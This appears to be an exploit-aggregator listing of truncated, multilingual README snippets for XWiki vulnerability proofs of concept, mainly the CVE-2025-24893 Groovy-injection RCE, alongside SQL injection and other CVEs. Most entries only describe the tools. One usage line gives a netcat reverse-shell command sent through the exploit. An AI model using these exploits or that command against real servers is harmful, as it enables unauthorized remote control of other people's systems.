cve-2025-24893

CVE-2025-24893 Exploit de RCE en XWiki Un script sencillo en Python3 para explotar CVE-2025-24893 , una vulnerabilidad de ejecución remota de código en XWiki Platform, usando una macro asíncrona basada en Groovy y un payload de reverse shell configurable. ⚠️ ADVERTENCIA: Esta herramienta se...

CVE-2026-33229

CVE-2026-33229 — XWiki RCE via Apache Velocity Sandbox Bypass A Remote Code Execution vulnerability in XWiki Platform that allows an authenticated user with scripting permissions to bypass the Apache Velocity sandbox entirely — no Java Reflection required — by traversing pre-instantiated objects...

CVE-2025-24893

インフォ このPoCは、まずSSTIをテストし、それが機能するかどうかを確認します。 ループに入り、リモートでコマンドを実行できるようにします。 現在、exec コマンドと shell コマンドは同じ動作をします。 使用方法 接続 root@kitploit: python3 poc.py 例 debug を False（デフォルト）に設定した場合 root@kitploit: python3 poc.py http://127.0.0.1:8080 Targeting http://127.0.0.1:8080 + Target is vulnerable! xwiki-shell...

xwiki__xwiki-rendering_CVE-2023-32070_14-5

XWiki Rendering XWiki Rendering 是一个通用的渲染系统，可将给定语法（wiki 语法、HTML 等）的文本输入转换为另一种语法（XHTML 等）。 XWiki Platform、XWiki Commons 和 XWiki Rendering 是 XWiki.org 软件工厂的一部分。它们一起发布并共享相同的版本。 文档 文档 API 开发专区 下载 XWiki Rendering JAR 可在 中获取。 发布说明 阅读我们的 发布说明。 工具 持续集成 设置会在每次提交时启动构建 问题跟踪器 用于报告问题 开发流程 查看我们用于构建 XWiki 的完整工具列...

CVE-2024-31982

CVE-2024-31982 XWiki 漏洞...

CVE-2024-31982

CVE-2024-31982 PoC y Escáner Masivo Descripción general POC para CVE-2024-31982: Ejecución remota de código en XWiki Platform 14.10.20. Este POC se basa en este aviso de seguridad . Cómo Usar Escaneo de objetivo único Para escanear un solo objetivo: root@kitploit: python CVE-2024-31982.py -u targ...

CVE-2025-24893

XWiki CVE-2025-24893 概念验证 作者 : Net.Doge & Infinit3i 该Python脚本利用CVE-2025-24893 漏洞——XWiki因异步渲染Groovy宏时沙箱机制不完善导致的远程代码执行RCE漏洞。它通过向基于RSS的SolrSearch端点注入代码，实现任意命令执行。 📌 功能特性 通过Groovy注入执行单条命令 自动生成反向Shell载荷（配合msfvenom） 可自定义选项： 远程目标 本地IP地址 HTTP服务器端口 反向Shell信标端口 清晰的bash载荷预览 带ANSI颜色编码的交互式TUI 🚀 使用方法 1. 克隆或下载脚本...

CVE-2025-24893-XWiki-Unauthenticated-RCE-Exploit-POC

CVE-2025-24893 - XWiki Unauthenticated RCE Exploit POC ⚠️ Unauthenticated Remote Code Execution in XWiki 🛠️ PoC implementation by @dollarboysushil 💡 Overview CVE-2025-24893 is a critical RCE vulnerability in XWiki, caused by unsafe Groovy expression handling inside the SolrSearch macro. An attacker...

xwiki__xwiki-commons_CVE-2022-24897_12-6-6

XWiki Commons XWiki Commons 是多个其他顶级 XWiki 项目共用的技术库。 这些库可被 XWiki 生态系统之外的项目使用，具有通用性，且与 wiki 领域无关。 XWiki Platform、XWiki Commons 和 XWiki Rendering 均属于 XWiki.org 软件工坊的一部分。它们一同发布并共享相同的版本。 文档 文档 API 开发专区 下载 XWiki Commons 的 JAR 包可在 中获取。 发布说明 请阅读我们的发布说明。 工具 持续集成 设置为每次提交都会启动构建 问题跟踪器 用于报告问题 开发流程 可查看我们用于构建...

CVE-2025-24893

Exploit for CVE-2025-24893 CVE-2025-24893 is a critical unauthenticated remote code execution RCE vulnerability affecting the XWiki Platform. This flaw lets any guest user inject and execute arbitrary Groovy code —without authentication—via a specially crafted RSS request to the SolrSearch...

CVE-2025-24893

CVE-2025-24893 Remote Code Execution exploit for XWiki for versions prior to 15.10.11, 16.4.1 and 16.5.0RC1. Usage root@kitploit: $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' Use it only for ethical purposes :...

CVE-2026-33137

CVE-2026-33137 XWiki Platform - Import XAR non authentifié via REST/wikis/wikiName Description Le point d'accès REST POST /wikis/wikiName de XWiki Platform exécute une importation XAR XWiki Archive sans effectuer aucune vérification d'authentification ou d'autorisation. Un attaquant non authentif...

xwiki__xwiki-commons_CVE-2023-31126_14-10-3

XWiki Commons XWiki Commons은 여러 다른 최상위 XWiki 프로젝트에 공통으로 사용되는 기술 라이브러리입니다. 이 라이브러리들은 XWiki 생태계 외부의 프로젝트에서도 사용할 수 있으며, 일반적이고 위키 도메인과 관련이 없습니다. XWiki Platform, XWiki Commons, XWiki Rendering은 XWiki.org 소프트웨어 포지의 일부입니다. 이들은 함께 릴리스되며 동일한 버전을 공유합니다. 문서 문서 API 개발 영역 다운로드 XWiki Commons JAR은 에서 사용할 수 있습니다...

CVE-2025-24893

CVE-2025-24893 root@kitploit: Exploit Title: XWiki 15.10.10 - Unauthenticated Remote Code Execution Date: 09/08/2025 Exploit Author: D3Ext Vendor Homepage: https://www.xwiki.org/ Software Link: https://github.com/xwiki/xwiki-platform Version: 15.10.10 Tested on: Kali Linux 2025 CVE: CVE-2025-2489...

CVE-2025-24893-

CVE-2025-24893- CVE-2025-24893 | XWiki平台远程代码执行漏洞（概念验证）...

CVE-2025-24893

CVE-2025-24893 XWiki Platform은 그 위에 구축된 애플리케이션에 런타임 서비스를 제공하는 범용 위키 플랫폼입니다. SolrSearch 엔드포인트의 취약점으로 인해 인증되지 않은 사용자가 임의의 원격 코드 실행을 달성할 수 있습니다. 이 취약점은 전체 XWiki 설치의 기밀성, 무결성 및 가용성에 영향을 미칩니다. CVE: CVE-2025-24893 데모 익스플로잇의 데모는 아래와 같습니다: 사용법 이 익스플로잇을 사용하려면 다음 단계를 따르세요: 1. 저장소를 클론합니다: git clone...

codeql-workshop-cve-2021-21380

Atelier CodeQL pour Java : Trouver une injection SQL Dans cet atelier, nous utiliserons le raisonnement syntaxique et sémantique pour trouver une injection SQL dans le composant d'évaluation de la plateforme XWiki, documentée par la CVE-2021-21380 Sommaire Atelier CodeQL pour Java : Trouver une...

CVE-2025-32429

CVE-2025-32429 XWiki SQL Injection PoC लेखक: Byte Reaper टेलीग्राम: @ByteReaper0 CVE: CVE‑2025‑32429 कमजोरी: XWiki LiveData REST API में ब्लाइंड SQL इंजेक्शन प्रभावित फ़ाइल: getdeleteddocuments.vm sort पैरामीटर विवरण: XWiki प्लेटफ़ॉर्म के LiveData REST एंडपॉइंट में getdeleteddocuments.vm के sort...

CVE-2020-13654

CVE-2020-13654 - XWiki Platform Entdeckt und gemeldet von: Astaruf Vollständiger Bericht: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/ NVD-Eintrag: https://nvd.nist.gov/vuln/detail/CVE-2020-13654 Schwachstelle XWiki Platform vor Version 12.8 wendet keine HTML-Kodierung auf...

CVE-2025-24893-Reverse-Shell

CVE-2025-24893 - Exploit de Execução Remota de Código no XWiki PoC para CVE-2025-24893 – Execução Remota de Código via Macro do XWiki Inspirado pelo PoC original de Artemir Descrição Este é um exploit de Prova de Conceito PoC para CVE-2025-24893 , uma vulnerabilidade de Execução Remota de Código...